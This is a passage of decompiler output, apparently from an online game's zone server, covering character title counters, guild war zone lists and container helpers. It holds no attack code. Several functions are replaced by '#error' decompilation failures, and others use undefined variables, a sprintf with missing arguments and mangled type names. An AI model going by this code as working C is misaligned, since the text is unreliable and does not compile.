nItemNo, unsigned __int16 nNPCID) { ++this->m_TitleValues[23]; CCharacterTitleZone::CheckNewTitle(this, 23); } //----- (0054B3D0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_BuyNPC(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, unsigned __int16 nNPCID) { ++this->m_TitleValues[24]; CCharacterTitleZone::CheckNewTitle(this, 24); } //----- (0054B400) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_ItemUpSuccess(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel) { CCharacterTitleZone *v3; // esi@1 v3 = this; if ( (unsigned __int8)nItemLevel >= 2u ) { ++this->m_TitleValues[27]; CCharacterTitleZone::CheckNewTitle(this, 27); } if ( *(_QWORD *)&v3->m_nUpgradeItemNo.binary.gap0[0] == nItemNo && (unsigned __int8)nItemLevel >= 2u && v3->m_nUpgradeItemStatus == 1 ) { ++v3->m_TitleValues[29]; CCharacterTitleZone::CheckNewTitle(v3, 29); } if ( (unsigned __int8)LODWORD(v3->m_TitleValues[31]) < nItemLevel ) { v3->m_TitleValues[31] += (unsigned __int8)nItemLevel - (unsigned __int8)LODWORD(v3->m_TitleValues[31]); CCharacterTitleZone::CheckNewTitle(v3, 31); } *(_DWORD *)&v3->m_nUpgradeItemNo.binary.gap0[0] = *(_DWORD *)&nItemNo; v3->m_nUpgradeItemStatus = ((unsigned __int8)nItemLevel < 2u) + 1; v3->m_nUpgradeItemNo.binary._bf4 = nItemNo.binary._bf4; } //----- (0054B4E0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_ItemUpFail(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel) { CCharacterTitleZone *v3; // esi@1 v3 = this; ++this->m_TitleValues[28]; CCharacterTitleZone::CheckNewTitle(this, 28); if ( *(_QWORD *)&v3->m_nUpgradeItemNo.binary.gap0[0] == nItemNo && !v3->m_nUpgradeItemStatus && (unsigned __int8)nItemLevel >= 2u ) { ++v3->m_TitleValues[30]; CCharacterTitleZone::CheckNewTitle(v3, 30); } *(_QWORD *)&v3->m_nUpgradeItemNo.binary.gap0[0] = nItemNo; v3->m_nUpgradeItemStatus = 0; } //----- (0054B580) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_ItemUpDestroy(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel) { CCharacterTitleZone *v3; // esi@1 v3 = this; ++this->m_TitleValues[32]; CCharacterTitleZone::CheckNewTitle(this, 32); ++v3->m_TitleValues[28]; CCharacterTitleZone::CheckNewTitle(v3, 28); v3->m_nUpgradeItemStatus = 0; *(_DWORD *)&v3->m_nUpgradeItemNo.binary.gap0[0] = *(_DWORD *)&nItemNo; v3->m_nUpgradeItemNo.binary._bf4 = nItemNo.binary._bf4; } //----- (0054B5F0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_AddFrined(CCharacterTitleZone *this, unsigned __int16 nNumOfFriend) { this->m_TitleValues[34] = nNumOfFriend; CCharacterTitleZone::CheckNewTitle(this, 34); } //----- (0054B610) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_QuestSuccess(CCharacterTitleZone *this, unsigned __int16 nQuestID) { ++this->m_TitleValues[40]; CCharacterTitleZone::CheckNewTitle(this, 40); } //----- (0054B640) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_Chatting(CCharacterTitleZone *this) { this->m_TitleValues[41] = 0i64; CCharacterTitleZone::CheckNewTitle(this, 41); } //----- (0054B660) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_BroadCast(CCharacterTitleZone *this) { ++this->m_TitleValues[42]; CCharacterTitleZone::CheckNewTitle(this, 42); } //----- (0054B690) -------------------------------------------------------- #error "54B690: undefined or illegal type '#331' (funcsize=50)" //----- (0054B770) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_WinDiceTaiSaiWin(CCharacterTitleZone *this, unsigned __int16 nWinCnt) { this->m_TitleValues[58] += nWinCnt; CCharacterTitleZone::CheckNewTitle(this, 58); } //----- (0054B7B0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_WinDiceTaiSaiSet(CCharacterTitleZone *this) { ++this->m_TitleValues[59]; CCharacterTitleZone::CheckNewTitle(this, 59); } //----- (0054B7E0) -------------------------------------------------------- int __thiscall CCharacterTitleZone::ProcessTitle(CCharacterTitleZone *this) { CCharacterTitleZone *v1; // esi@1 int v2; // eax@1 v1 = this; v2 = mysecond(0) / 60; if ( v2 != v1->m_ProcessedTime ) { v1->m_ProcessedTime = v2; ++v1->m_TitleValues[3]; CCharacterTitleZone::CheckNewTitle(v1, 3); ++v1->m_TitleValues[4]; CCharacterTitleZone::CheckNewTitle(v1, 4); ++v1->m_TitleValues[41]; CCharacterTitleZone::CheckNewTitle(v1, 41); LODWORD(v1->m_TitleValues[43]) = CCharacterTitle::GetMyTitleCount(&v1->baseclass_0); HIDWORD(v1->m_TitleValues[43]) = 0; CCharacterTitleZone::CheckNewTitle(v1, 43); } return 0; } //----- (0054B8B0) -------------------------------------------------------- void __thiscall IObserver::_IObserver(ItemSmallBag *this) { this->vfptr = (ItemSmallBagVtbl *)ItemSmallBag::_vftable_; } // 5D98C8: using guessed type int (*ItemSmallBag_ItemInform_ActionItem____vftable_[3])(); //----- (0054B8C0) -------------------------------------------------------- unsigned __int16 __thiscall IObserver::notify(IObserver *this, #331 *a2, #331 *a3, IObserver::Event happen, const unsigned int DwParam, const int SDwParam, unsigned int birth) { return 2; } //----- (0054B8D0) -------------------------------------------------------- #error "54B8D0: undefined or illegal type '#331' (funcsize=9)" //----- (0054B900) -------------------------------------------------------- #error "54B900: undefined or illegal type '#331' (funcsize=11)" //----- (0054B930) -------------------------------------------------------- #error "54B930: undefined or illegal type '#331' (funcsize=29)" //----- (0054B980) -------------------------------------------------------- #error "54B980: undefined or illegal type '#331' (funcsize=11)" //----- (0054B9A0) -------------------------------------------------------- void __thiscall GUILD_ZONE::GUILD_ZONE(GUILD_ZONE *this) { *(_QWORD *)&this->sName.n4_name[8] = 0i64; *(_QWORD *)&this->sName.n4_name[0] = 0i64; } //----- (0054B9C0) -------------------------------------------------------- int __thiscall GUILD_ZONE::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_BYTE *)(this + 28) = *(_BYTE *)(a2 + 28); *(_BYTE *)(this + 29) = *(_BYTE *)(a2 + 29); *(_DWORD *)(this + 30) = *(_DWORD *)(a2 + 30); *(_WORD *)(this + 34) = *(_WORD *)(a2 + 34); *(_DWORD *)(this + 36) = *(_DWORD *)(a2 + 36); *(_DWORD *)(this + 40) = *(_DWORD *)(a2 + 40); *(_BYTE *)(this + 44) = *(_BYTE *)(a2 + 44); *(_DWORD *)(this + 45) = *(_DWORD *)(a2 + 45); return result; } //----- (0054BA30) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_ByteLot::iac_GetAttrSize(ItemAttrCls_WeaponTitlaLicence *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 1; } //----- (0054BA40) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5D79E0: using guessed type int (__stdcall *List_CGuildZone__GUILD_ZONE_LIST____vftable_[3])(__int16 hnd); //----- (0054BA60) -------------------------------------------------------- void __thiscall CGuildZone::GUILD_ZONE_LIST::GUILD_ZONE_LIST(CGuildZone::GUILD_ZONE_LIST *this) { GUILD_ZONE::GUILD_ZONE(&this->GuildZone); } //----- (0054BA70) -------------------------------------------------------- void __thiscall CGuildZone::_CGuildZone(CGuildZone *this) { CGuildZone *v1; // esi@1 void *v2; // esi@1 v1 = this; this->vfptr = (CGuildZoneVtbl *)&CGuildZone::_vftable_; _eh_vector_destructor_iterator_( this->gz_GuildArray, 0x3Cu, 8192, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->gz_GuildList.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->gz_GuildList.l_Array; if ( v2 ) operator delete__(v2); } // 5D79E0: using guessed type int (__stdcall *List_CGuildZone__GUILD_ZONE_LIST____vftable_[3])(__int16 hnd); // 5D79FC: using guessed type int (__thiscall *CGuildZone___vftable_)(CGuildZone *this, int pCmd); //----- (0054BAE0) -------------------------------------------------------- int __thiscall CGuildZone::Add(CGuildZone *this, GUILD_ZONE *pGuildZone) { CGuildZone *v2; // ebx@1 unsigned __int16 v3; // ax@1 char *v4; // ecx@1 unsigned __int16 v5; // di@2 int v6; // esi@2 int result; // eax@5 v2 = this; v3 = this->gz_GuildList.l_Finger.empty; v4 = (char *)&this->gz_GuildList; if ( v3 == -1 ) { v5 = (unsigned __int16)pGuildZone; v6 = 0; } else { v5 = v3; v6 = (*(int (__stdcall **)(_WORD))(*(_DWORD *)v4 + 4))(v3); } if ( v6 ) { GUILD_ZONE::operator_(v6, (int)pGuildZone); *(_WORD *)(v6 + 56) = v5; *(_DWORD *)(v6 + 52) = 0; result = 1; } else { AssertClass::ac_AssertFail(&shineassert, "CGuildZone::ClearWar : Guild Buffer Full.", v2->gz_GuildList.l_ListNum); result = 0; } return result; } //----- (0054BB50) -------------------------------------------------------- int __thiscall CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ(CGuildZone *this) { CGuildZone *v1; // esi@1 ZoneBaseSession *v2; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !v1->gz_IsSendReq ) { *(_WORD *)gpp.pp_Buffer = 29766; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v2 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v2); } else { AssertClass::ac_AssertFail(&shineassert, "CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ : Packet Too Long", 3); } v1->gz_IsSendReq = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ"); return 1; } //----- (0054BC40) -------------------------------------------------------- #error "54BC40: undefined or illegal type '#331' (funcsize=68)" //----- (0054BD00) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, CGuildZone::GUILD_ZONE_LIST *ele) { int v2; // eax@1 int v3; // eax@2 int v4; // esi@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2), (v4 = v3) != 0) ) { GUILD_ZONE::operator_(v3, (int)ele); *(_DWORD *)(v4 + 52) = ele->gzl_AttackMeGuild; *(_WORD *)(v4 + 56) = ele->gzl_ListHandle; result = 1; } else { result = 0; } return result; } //----- (0054BD40) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, CGuildZone::GUILD_ZONE_LIST *ele) { int v2; // eax@1 int v3; // eax@2 int v4; // esi@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2), (v4 = v3) != 0) ) { GUILD_ZONE::operator_(v3, (int)ele); *(_DWORD *)(v4 + 52) = ele->gzl_AttackMeGuild; *(_WORD *)(v4 + 56) = ele->gzl_ListHandle; result = 1; } else { result = 0; } return result; } //----- (0054BD90) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, CGuildZone::GUILD_ZONE_LIST *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bx@1 int v6; // eax@2 int v8; // edi@4 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; v8 = *(_DWORD *)v6; GUILD_ZONE::operator_((int)ele, *(_DWORD *)v6); ele->gzl_AttackMeGuild = *(_DWORD *)(v8 + 52); ele->gzl_ListHandle = *(_WORD *)(v8 + 56); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0054BDF0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, CGuildZone::GUILD_ZONE_LIST *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bx@1 int v6; // eax@2 int v8; // edi@4 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; v8 = *(_DWORD *)v6; GUILD_ZONE::operator_((int)ele, *(_DWORD *)v6); ele->gzl_AttackMeGuild = *(_DWORD *)(v8 + 52); ele->gzl_ListHandle = *(_WORD *)(v8 + 56); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0054BE50) -------------------------------------------------------- void __thiscall CGuildZone::ClearWar(CGuildZone *this) { unsigned __int16 v1; // bp@2 unsigned __int16 v2; // di@3 ListStruct *v3; // edx@4 int v4; // eax@4 unsigned __int16 v5; // si@4 bool v6; // cf@4 bool v7; // zf@5 int v8; // edx@5 int v9; // edx@6 ListStruct *v10; // eax@9 if ( this->m_bInit ) { v1 = this->gz_GuildList.l_Array[this->gz_GuildList.l_Finger.store].ls_Next; while ( 1 ) { v2 = this->gz_GuildList.l_MaxSize; if ( v1 >= v2 ) break; v3 = this->gz_GuildList.l_Array; v4 = v1; v5 = v1; v6 = v1 < v2; v1 = v3[v1].ls_Next; if ( !v6 || (v7 = v3[v4].ls_IsActiv == 0, v8 = (int)&v3[v4], v7) ) v9 = 0; else v9 = *(_DWORD *)v8; *(_BYTE *)(v9 + 44) = 0; if ( v5 < this->gz_GuildList.l_MaxSize && (v10 = &this->gz_GuildList.l_Array[v4], v10->ls_IsActiv) ) v10->ls_Content->gzl_AttackMeGuild = 0; else v34 = 0; } } } //----- (0054BED0) -------------------------------------------------------- CGuildZone::GUILD_ZONE_LIST *__thiscall CGuildZone::Find(CGuildZone *this, unsigned int nNo) { int v2; // eax@1 ListStruct *v3; // esi@1 unsigned __int16 v4; // cx@1 unsigned __int16 v5; // dx@1 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 int v9; // eax@4 bool v10; // zf@4 int v11; // eax@4 int v12; // eax@5 int v13; // eax@9 v2 = this->gz_GuildList.l_Finger.store; v3 = this->gz_GuildList.l_Array; v4 = this->gz_GuildList.l_MaxSize; v5 = v3[v2].ls_Next; while ( v5 < v4 ) { v6 = v5; v7 = v5; v8 = v5 < v4; v5 = v3[v5].ls_Next; if ( !v8 || (v9 = 3 * v6, v10 = v3[4 * v9 / 0xCu].ls_IsActiv == 0, v11 = (int)&v3[4 * v9 / 0xCu], v10) ) v12 = 0; else v12 = *(_DWORD *)v11; if ( *(_DWORD *)v12 == nNo ) { if ( v7 < v4 ) { v13 = (int)&v3[v7]; if ( *(_BYTE *)(v13 + 8) ) return *(CGuildZone::GUILD_ZONE_LIST **)v13; } return 0; } } return 0; } //----- (0054BF50) -------------------------------------------------------- int __thiscall CGuildZone::IsGuildEnemy(CGuildZone *this, unsigned int nGuild1, unsigned int nGuild2) { CGuildZone *v3; // ebp@1 CGuildZone::GUILD_ZONE_LIST *v4; // eax@1 int result; // eax@2 CGuildZone::GUILD_ZONE_LIST *v6; // eax@6 v3 = this; v4 = CGuildZone::Find(this, nGuild1); if ( v4 ) { if ( v4->GuildZone.nWarStatus == 2 && v4->GuildZone.nWarEnemy == nGuild2 || (v6 = CGuildZone::Find(v3, nGuild2)) != 0 && v6->GuildZone.nWarStatus == 2 && v6->GuildZone.nWarEnemy == nGuild1 ) { GuildWarManager::gwm_EnemyCheck(&gldwarman, 1, nGuild1, nGuild2); result = 1; } else { GuildWarManager::gwm_EnemyCheck(&gldwarman, 0, nGuild1, nGuild2); result = 0; } } else { GuildWarManager::gwm_EnemyCheck(&gldwarman, 0, nGuild1, nGuild2); result = 0; } return result; } //----- (0054BFE0) -------------------------------------------------------- int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_WAR_START_CMD *pCmd) { CGuildZone *v2; // esi@1 CGuildZone::GUILD_ZONE_LIST *v3; // eax@1 unsigned int v4; // ebp@1 CGuildZone::GUILD_ZONE_LIST *v5; // edi@1 CGuildZone::GUILD_ZONE_LIST *v6; // eax@1 int result; // eax@3 v2 = this; v3 = CGuildZone::Find(this, pCmd->nNo); v4 = pCmd->nEnemyNo; v5 = v3; v6 = CGuildZone::Find(v2, v4); if ( v6 && v5 ) { v5->GuildZone.nWarEnemy = v4; v5->GuildZone.nWarStatus = 2; v6->gzl_AttackMeGuild = pCmd->nNo; result = 1; } else { result = 0; } return result; } //----- (0054C030) -------------------------------------------------------- int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_WAR_END_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_WAR_END_CMD *pCmd) { int result; // eax@1 result = (int)CGuildZone::Find(this, pCmd->nNo); if ( result ) { *(_DWORD *)(result + 45) = pCmd->nEnemyNo; *(_BYTE *)(result + 44) = 0; result = 1; } return result; } //----- (0054C060) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0054C0B0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0054C1D0) -------------------------------------------------------- int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_LIST_ACK(CGuildZone *this, PROTO_NC_GUILD_ZONE_LIST_ACK *pAck) { signed int v2; // esi@1 CGuildZone *v3; // ebp@1 GUILD_ZONE *v4; // edi@4 int result; // eax@6 v2 = 0; v3 = this; if ( pAck->PartMask & 1 ) { this->m_bInit = 0; List::l_Clear(&this->gz_GuildList); } if ( pAck->NumOfList > 0u ) { v4 = (GUILD_ZONE *)&pAck[1]; do { CGuildZone::Add(v3, v4); ++v2; ++v4; } while ( v2 < pAck->NumOfList ); } result = 1; if ( pAck->PartMask & 2 ) v3->m_bInit = 1; return result; } //----- (0054C220) -------------------------------------------------------- int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_DELETE_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_DELETE_CMD *pCmd) { int v2; // ebp@0 CGuildZone *v3; // esi@1 List *v4; // edi@2 unsigned __int16 v6; // bp@5 unsigned __int16 v7; // cx@6 ListStruct *v8; // eax@7 int v9; // esi@7 unsigned __int16 v10; // bx@7 bool v11; // cf@7 int v12; // eax@8 int v13; // eax@9 ListStruct *v14; // eax@13 char v15; // cl@13 int v16; // eax@13 int v17; // ecx@14 int v18; // eax@17 int v19; // ecx@18 int v20; // eax@21 int v21; // eax@22 int v22; // eax@26 int v23; // eax@27 ListStruct *v24; // eax@31 char v25; // cl@31 int v26; // eax@31 int v27; // ecx@32 int v28; // eax@35 int v29; // ecx@36 int v30; // eax@39 CGuildZone::GUILD_ZONE_LIST *v31; // eax@42 int v32; // [sp-10h] [bp-14h]@5 CGuildZone *thisa; // [sp+0h] [bp-4h]@1 v3 = this; thisa = this; MapClusterManager::ClusterManager::cm_DeleteInstanceDungeon(&mapclustermanager, CATEGORY_GUILD, pCmd->nNo); if ( !CGuildZone::Find(v3, pCmd->nNo) ) return 0; v4 = unk_1247FF04; if ( !unk_1247FF04 ) { AssertClass::ac_AssertFail(&shineassert, "CGuildZone::Recv_NC_GUILD_ZONE_DELETE_CMD : NULL List", unk_1247FF04 != 0); return 0; } v32 = v2; v6 = unk_1247FF04->l_Array[unk_1247FF04->l_Finger.store].ls_Next; while ( 1 ) { v7 = v4->l_MaxSize; if ( v6 >= v7 ) break; v8 = v4->l_Array; v9 = v6; v10 = v6; v11 = v6 < v7; v6 = v8[v6].ls_Next; if ( v11 && (v12 = (int)&v8[v9], *(_BYTE *)(v12 + 8)) ) v13 = *(_DWORD *)v12; else v13 = 0; if ( (*(int (__thiscall **)(int))(*(_DWORD *)v13 + 1980))(v13) == pCmd->nNo ) { if ( v10 < v4->l_MaxSize && (v14 = v4->l_Array, v15 = v14[v9].ls_IsActiv, v16 = (int)&v14[v9], v15) ) v17 = *(_DWORD *)v16; else v17 = 0; (*(void (__stdcall **)(_DWORD, int))(*(_DWORD *)v17 + 1984))(0, v32); if ( v10 < v4->l_MaxSize && (v18 = (int)&v4->l_Array[v9], *(_BYTE *)(v18 + 8)) ) v19 = *(_DWORD *)v18; else v19 = 0; v32 = 0; (*(void (**)(void))(*(_DWORD *)v19 + 1988))(); if ( v10 < v4->l_MaxSize && (v20 = (int)&v4->l_Array[v9], *(_BYTE *)(v20 + 8)) ) v21 = *(_DWORD *)v20; else v21 = 0; (*(void (__thiscall **)(int))(*(_DWORD *)v21 + 1992))(v21); } if ( v10 < v4->l_MaxSize && (v22 = (int)&v4->l_Array[v9], *(_BYTE *)(v22 + 8)) ) v23 = *(_DWORD *)v22; else v23 = 0; if ( (*(int (__thiscall **)(int))(*(_DWORD *)v23 + 2048))(v23) == pCmd->nNo ) { if ( v10 < v4->l_MaxSize && (v24 = v4->l_Array, v25 = v24[v9].ls_IsActiv, v26 = (int)&v24[v9], v25) ) v27 = *(_DWORD *)v26; else v27 = 0; (*(void (__stdcall **)(_DWORD, int))(*(_DWORD *)v27 + 2052))(0, v32); if ( v10 < v4->l_MaxSize && (v28 = (int)&v4->l_Array[v9], *(_BYTE *)(v28 + 8)) ) v29 = *(_DWORD *)v28; else v29 = 0; v32 = 0; (*(void (**)(void))(*(_DWORD *)v29 + 2056))(); if ( v10 < v4->l_MaxSize && (v30 = (int)&v4->l_Array[v9], *(_BYTE *)(v30 + 8)) ) (*(void (__thiscall **)(_DWORD))(**(_DWORD **)v30 + 1992))(*(_DWORD *)v30); else (*(void (__thiscall **)(_DWORD))(v0 + 1992))(0); } } v31 = CGuildZone::Find(thisa, pCmd->nNo); if ( !v31 ) return 0; thisa->gz_GuildList.vfptr->l_Free(&thisa->gz_GuildList, v31->gzl_ListHandle); return 1; } // 54C220: could not find valid save-restore pair for ebp //----- (0054C440) -------------------------------------------------------- #error "54C440: undefined or illegal type 'ListArray' (funcsize=91)" //----- (0054C560) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // ecx@1 result = _Pnode; for ( i = _Pnode->_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (0054C580) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // ecx@1 result = _Pnode; v2 = _Pnode->_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (0054C5A0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // ecx@1 result = _Pnode; for ( i = _Pnode->_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (0054C5C0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // ecx@1 result = _Pnode; v2 = _Pnode->_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (0054C5E0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@2 int j; // eax@3 int i; // eax@6 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( !*(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 29) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 29) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 29); i = *(_DWORD *)(i + 4) ) { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(i + 8) ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 29); j = *(_DWORD *)j ) v2 = j; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (0054C640) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@2 int j; // eax@3 int i; // eax@6 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( !*(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 37) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 37) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 37); i = *(_DWORD *)(i + 4) ) { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(i + 8) ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 37); j = *(_DWORD *)j ) v2 = j; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (0054C6A0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x9Au, 0x64u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0054C750) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x58u, 